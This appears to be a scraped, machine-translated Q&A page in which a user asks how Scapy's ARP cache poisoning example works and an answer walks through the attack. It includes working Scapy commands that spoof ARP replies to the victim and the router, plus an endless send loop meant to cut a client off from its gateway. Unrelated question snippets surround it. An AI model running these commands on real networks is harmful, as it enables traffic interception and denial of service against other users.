- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
Scapy 文档给出了以下 ARP 缓存中毒的例子:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
问题一:
我的理解是,这是来自客户端的 ARP 请求的广播。攻击者不应该执行 ARP Poison 来响应:
send(Ether(dst=clientMAC)/ARP(op="is-at", psrc=gateway, pdst=client))
问题 2:在关于 Scapy 的 stackoverflow 帖子中,OP 发布了:
这会向受害者发送一个 ARP 回复数据包,其中本地机器伪装成路由器:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
这会向路由器发送一个 ARP 回复数据包,其中本地机器伪装成受害者:
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
在这两个数据包中,hwsrc 字段默认填充为本地机器的 MAC 地址。
但是 Scapy 文档没有提到 hwdst 是必需的。我想知道为什么。
问题 3:在 Scapy 文档中:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
但在问题 2 的 OP 帖子中,未提供 Ether(dst-clientMAC)。这是否意味着不需要?
谢谢。
最佳答案
In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker's MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead. Wiki
正如 Scapy 文档中提到的,
ARP cache poisoning attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.
他们的意思是,可怜的客户端将无法将他的数据包发送到网关(在这种情况下为接入点),并且无法与外部资源通信。但是请注意,同一个客户端仍然能够与 VLAN 内的其他主机通信。即使是攻击者(假设它也连接到同一个 WiFi 网络)。
让我们一步一步来看看这个攻击。
在此之前,我们更进一步,让我们检查一下客户端当前的 ARP 表(在执行攻击之前)。在 Linux 上查看 ARP 表需要运行以下命令:
$ sudo arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 54:f6:15:f5:51:55 C wlan0
如您所见,ARP 表只有一条记录,其中列出了网关 IP 地址 (192.168.1.1) 和 MAC (54:f6:15:f5:51:55)。
当攻击者在 Scapy 中执行以下命令时:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
它创建并发送以下数据包:
在以太层,目的MAC地址dst
被设置为指向客户端(受害者)的MAC。同时,Scapy 会自动填写其他 Ether 层字段,最重要的是设置为攻击者 MAC 地址的 src
字段。这意味着在以太层上,数据包似乎来自攻击者。其他以太层字段保持不变并包含默认值。如果你在 Scapy 中运行以下命令,你可以自己看到它:
a = Ether(dst="clientMAC")
a.show()
现在,在 IP 层,攻击者制作了一个 ARP 请求包,他在其中设置 psrc
(源 IP)字段指向网关节点的 IP(本例中的 AP案子)。现在,请记住之前,在以太层上,Scapy 为我们填写了 src
字段并将其设置为指向攻击者的 MAC 地址。这意味着,发送给客户端(受害者)的最终数据包看起来像是来自具有攻击者 MAC 和网关 IP 地址的主机。我们稍后再谈。现在,让我们继续。最后,客户端的 IP 地址在 pdst
字段中设置为数据包的目的地。
数据包被创建并发送给客户端(受害者)。
客户端收到此数据包并检查数据包的内容。它看到 ARP 请求来自网关 IP(假设它是 192.168.1.1)。它检查数据包以太层中的 MAC 地址字段 psrc
(假设它是 a9:2b:24:9c:fd:c7)并更新它的 ARP 表,现在看起来如下:
$ sudo arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether a9:2b:24:9c:fd:c7 C wlan0
如您所见,IP 地址保持不变,但 MAC 地址发生了变化。因此,现在,每当客户端向网关节点发送数据包时,它实际上会将它们发送到攻击者的 MAC。如果攻击者的目标是阻止客户端与网关通信,这些数据包将被丢弃并且永远不会传递到所需的目的地。
当攻击者不断向客户端发送精心设计的 ARP 数据包时,客户端将无法与网关通信。一旦攻击者停止,来自网关的真实 IP 和 MAC 地址的真实 ARP 请求最终将到达 eh 客户端,恢复正常通信。这就是为什么,作为攻击者,您可能想要创建一个循环来发送恶意数据包,如下所示:
sendp(Ether(dst=”CLIENT-MAC”)/ARP(op="who-has", psrc=”GATEWAY-IP”, pdst=”CLIENT-IP”), inter=0.2, loop=1)
通过这个永无止境的循环,您可以有效地干扰客户端和网关之间的通信。
关于Scapy ARP 中毒,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53055062/
我使用 Scapy 创建一个初始 OpenVPN 数据包并将其发送到 OpenVPN 服务器(作为客户端)。数据包的 OpenVPN 部分我只是从旧的捕获连接中重用,但它在这里无关紧要。 事情是,我添
我在使用 Scapy 进行 TCP 握手时遇到问题。我的 Scapy 代码正在发送 SYN 数据包。目标正在使用 SYN/ACK 数据包进行响应。我可以在 tcpdump 中看到 SYN/ACK 数据
我正在查看一个需要制作 S1 应用程序协议(protocol) (S1AP) 数据包的项目。它用于 4G LTE 网络的 eNodeB 和 MME 之间。 S1AP 基于 IP 并由 Steam 控制
我尝试导入 scapy.all,但出现“wpcap.dll”不存在的错误。为什么会这样?我确定我正确下载了所有内容。我将所有内容保存到一个名为 scapy 的文件夹中。我从模块 ctypes 得到了一
如果我生成一个没有任何上层有效载荷的以太网帧并使用 sendp() 在第二层发送它,那么我会收到 "Mac address to reach destination not found. Using
I'm new to scapy and I'm trying to implement a protocol.Within this protocol a type, lets call it
我在 Windows 7 和 Fedora 机器上都安装了 scapy。但是,contrib 包没有安装(或者至少,它没有出现在我的 site-packages/scapy 包下。我怎样才能安装它?
我只是想在scapy中创建一个以eg开头的数据包 数据包 = RadioTap()/Dot11()/Dot11ACK() packet.show() 给了我这个错误。我无法发送任何没有 RadioTa
如何使用 scapy 创建一组具有递增有效负载的数据包?例如,第一个数据包的有效负载(数据)必须为 1,第二个必须为 2,依此类推。 我试过这个: >>> pkt=(Ether(dst='00:01:
我想知道如何验证从Scapy的sr1()函数接收到的数据包包含TCP层,以便对TCP标志进行一些处理。 最佳答案 您有两个选择,in运算符是一个。 >>> TCP in pkt True >>> if
我正在尝试使用Scapy学习一些数据包生成。看起来很酷。根据一些文档,我正在这样做: l3=IP(dst="192.168.0.1", src="192.168.0.2", tos=(46 ", li
我需要发送格式错误的以太网帧以进行测试。我已禁用 Rx 和 Tx 校验和的卸载: root@T60:~# ethtool --show-offload eth0 Features for eth0:
如何使用 scapy 更改数据包数据? 我尝试使用sniff(),然后send()编辑的数据包,但它不起作用,因为原始数据包已经到达目的地。 最佳答案 “但是它不会工作,因为原始数据包已经到达目的地。
我在 Ubuntu 16.04 中运行 sacpy 2.4。我发现基本数据包(Eth/IP/UDP 或 Eth/IP/TCP)wireshark 经常标记失败的帧检查序列。 经过调查,我发现“损坏的数
Scapy 文档给出了以下 ARP 缓存中毒的例子: send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client)) 问
背景: 我正在使用 scapy 测试一个网络设备,该设备可以通过交换源/目标 MAC、IP 地址和第 4 层端口号来选择性地环回数据包。可以为 layer_2_only 选择交换, layers_2_
如果我使用 sr1 为 www.google.com 发送 DNSQR,我会收到几个 DNSRR(s) 作为回复,例如(使用 ans[DNSRR].show() 完成): ###[ DNS Resou
我想将我的数据包发送到一个 UDP dst 端口号并通过 eth0 接口(interface)发送(如果 scapy 直接处理我的 layer2,那么 eth0 不需要作为参数给出) 最佳答案 使用
我如何计算我使用的捕获的数据包数量 packets = sniff(filter='udp and host fe80::xx:xx:xx:xx',count=0) 功能?这可能吗? 我实际上一直在尝
我正在使用 F5 Networks Big-IP 产品,该产品附加了一个自定义以太网 II 尾帧以进行调试。我正在尝试使用 Scapy 为这个预告片绑定(bind)一个新图层,但我无法这样做。 我可以
我是一名优秀的程序员,十分优秀!